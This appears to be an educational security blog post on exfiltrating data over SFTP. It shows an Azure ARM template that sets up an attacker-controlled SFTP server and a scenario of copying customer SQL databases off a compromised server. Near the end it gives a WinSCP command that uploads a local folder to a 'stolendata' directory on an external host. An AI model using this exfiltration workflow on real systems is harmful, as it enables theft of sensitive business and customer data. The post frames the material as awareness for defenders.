How to exfiltrate data over (s)FTP?
In this blog post, we are going to explain how to exfiltrate data over (S)FTP. This blog post is mainly for educational purposes. During this blog post, we will cover everything in steps, which will help the readers being able to simulate this attack by themselves. The goal of this blog post is to demonstrate how relative easy it is to, exfiltrate data over (S)FTP.
Secure File Transfer Protocol (SFTP) is a file protocol for transferring large files over the web. It is build on top of the well-known File Transfer Protocol (FTP), but the only slight difference is that SFTP includes SSH. SFTP transfers files using SSH and encrypted FTP commands to avoid password sniffing and exposing sensitive information in plain text.
Deploy SFTP server in Azure
Azure gives us the capabilities to deploy resources very quickly and easy as well. This means that with a few clicks we can deploy our own SFTP server.
In order to do this, we have to visit the following link. This is a GitHub page of Microsoft, where they explain how you can deploy a SFTP server. They have an pre-configured ARM template, so the only thing you have to do is set the username and password.

The code of the ARM template can be found here:
{
"$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"storageAccountType": {
"type": "string",
"defaultValue": "Standard_LRS",
"allowedValues": [
"Standard_LRS",
"Standard_GRS"
],
"metadata": {
"description": "Storage account type"
}
},
"fileShareName": {
"type": "string",
"defaultValue": "sftpfileshare",
"metadata": {
"description": "Name of file share to be created"
}
},
"sftpUser": {
"type": "string",
"metadata": {
"description": "Username to use for SFTP access"
}
},
"sftpPassword": {
"type": "securestring",
"metadata": {
"description": "Password to use for SFTP access"
}
},
"location": {
"type": "string",
"defaultValue": "[resourceGroup().location]",
"metadata": {
"description": "Primary location for resources"
}
},
"containerGroupDNSLabel": {
"type": "string",
"defaultValue": "[uniqueString(resourceGroup().id, deployment().name)]",
"metadata" : {
"description": "DNS label for container group"
}
}
},
"variables": {
"cliContainerName": "create-share",
"cliContainerGroupName": "create-share-group",
"cliContainerImage": "microsoft/azure-cli:latest",
"sftpContainerName": "sftp",
"sftpContainerGroupName": "sftp-group",
"sftpContainerImage": "atmoz/sftp:latest",
"sftpEnvVariable": "[concat(parameters('sftpUser'), ':', parameters('sftpPassword'), ':1001')]",
"storageAccountName": "[concat('sftpstg', uniqueString(resourceGroup().id))]"
},
"resources": [
{
"type": "Microsoft.Resources/deployments",
"name": "pid-18f281fe-d1e1-502c-8b87-d945383dc75b",
"apiVersion": "2015-01-01",
"properties": {
"mode": "Incremental",
"template": {
"$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"resources": []
}
}
},
{
"type": "Microsoft.Storage/storageAccounts",
"name": "[variables('storageAccountName')]",
"apiVersion": "2018-02-01",
"location": "[parameters('location')]",
"sku": {
"name": "[parameters('storageAccountType')]"
},
"kind": "Storage",
"properties": {}
},
{
"type": "Microsoft.ContainerInstance/containerGroups",
"name": "[variables('cliContainerGroupName')]",
"apiVersion": "2018-04-01",
"location": "[parameters('location')]",
"dependsOn": [
"[variables('storageAccountName')]"
],
"properties": {
"containers": [
{
"name": "[variables('cliContainerName')]",
"properties": {
"image": "[variables('cliContainerImage')]",
"command": [
"az",
"storage",
"share",
"create",
"--name",
"[parameters('fileShareName')]"
],
"environmentVariables": [
{
"name": "AZURE_STORAGE_KEY",
"value": "[listKeys(variables('storageAccountName'),'2018-02-01').keys[0].value]"
},
{
"name": "AZURE_STORAGE_ACCOUNT",
"value": "[variables('storageAccountName')]"
}
],
"resources": {
"requests": {
"cpu": 1,
"memoryInGB": 1
}
}
}
}
],
"restartPolicy": "OnFailure",
"osType": "Linux"
}
},
{
"type": "Microsoft.ContainerInstance/containerGroups",
"name": "[variables('sftpContainerGroupName')]",
"apiVersion": "2018-04-01",
"location": "[parameters('location')]",
"dependsOn": [
"[variables('cliContainerGroupName')]"
],
"properties": {
"containers": [
{
"name": "[variables('sftpContainerName')]",
"properties": {
"image": "[variables('sftpContainerImage')]",
"environmentVariables": [
{
"name": "SFTP_USERS",
"value": "[variables('sftpEnvVariable')]"
}
],
"resources": {
"requests": {
"cpu": 2,
"memoryInGB": 1
}
},
"ports": [
{
"port": 22
}
],
"volumeMounts": [
{
"mountPath": "[concat('/home/', parameters('sftpUser'), '/upload')]",
"name": "sftpvolume",
"readOnly": false
}
]
}
}
],
"osType": "Linux",
"ipAddress": {
"type": "Public",
"ports": [
{
"protocol": "TCP",
"port": 22
}
],
"dnsNameLabel": "[parameters('containerGroupDNSLabel')]"
},
"restartPolicy": "OnFailure",
"volumes": [
{
"name": "sftpvolume",
"azureFile": {
"readOnly": false,
"shareName": "[parameters('fileShareName')]",
"storageAccountName": "[variables('storageAccountName')]",
"storageAccountKey": "[listKeys(variables('storageAccountName'),'2018-02-01').keys[0].value]"
}
}
]
}
}
],
"outputs": {
"containerDNSLabel": {
"type": "string",
"value": "[concat(parameters('containerGroupDNSLabel'), '.', parameters('location'), '.azurecontainer.io')]"
}
}
}
Once we have everything deployed, we can see our SFTP server. In this case, we can see that it’s a Linux machine.

Every time an SFTP server has been deployed in Azure. It will by default create a storage account, so we could upload files to it. Here we can see an empty file share, which resides in our storage account. We just created a folder with the name ‘stolendata’. All of the files will be synced to this folder.

Installing (S)FTP client
There are different open-source (S)FTP clients that we could use, but in this example. We will use WinSCP, which can be downloaded here. This will be our SFTP client that we are going to use, to exfiltrate data to our SFTP server.
WinSCP provides a GUI version that looks like the following:

It also provides a command-line option as well.

Exfiltrating data over SFTP
It is very common for adversaries to exfiltrate data, which is usually the end goal. It’s all about stealing sensitive data that has value to a business.
In this made-up scenario, we need to exfiltrate data that resides on a SQL server. There are two SQL databases that contains customer data. We have managed to somehow obtain access to this server, so the next step would be exfiltrating the data.

Both of these SQL databases are stored at the F$ network share on the SQL server, and both are located in the data folder.

We are now going to copy these SQL databases to the C:\Temp folder on our machine.

The final step would be using SFTP client to exfiltrate data over the SFTP protocol. All the files that are located in the C:\Temp folder will be synced to the stolendata folder of our SFTP server.
Command
winscp.com /command "open sftp://Badguy:Passw0rd!@purhwantycroe.eastus.azurecontainer.io/" "put C:\Temp /upload/stolendata/" "exit"

Result
At the sample result, we can see that both SQL databases have been synced to our SFTP server.

Summary
As we can see, it was relative easy to deploy an SFTP server in Azure. With just a few clicks we had everything setup. Azure provides great services that adversaries can use in their operations. Organizations and defenders should be aware of such things. Yes, adversaries know Cloud as well, so don’t be surprised when they use the capabilities of the Cloud against you.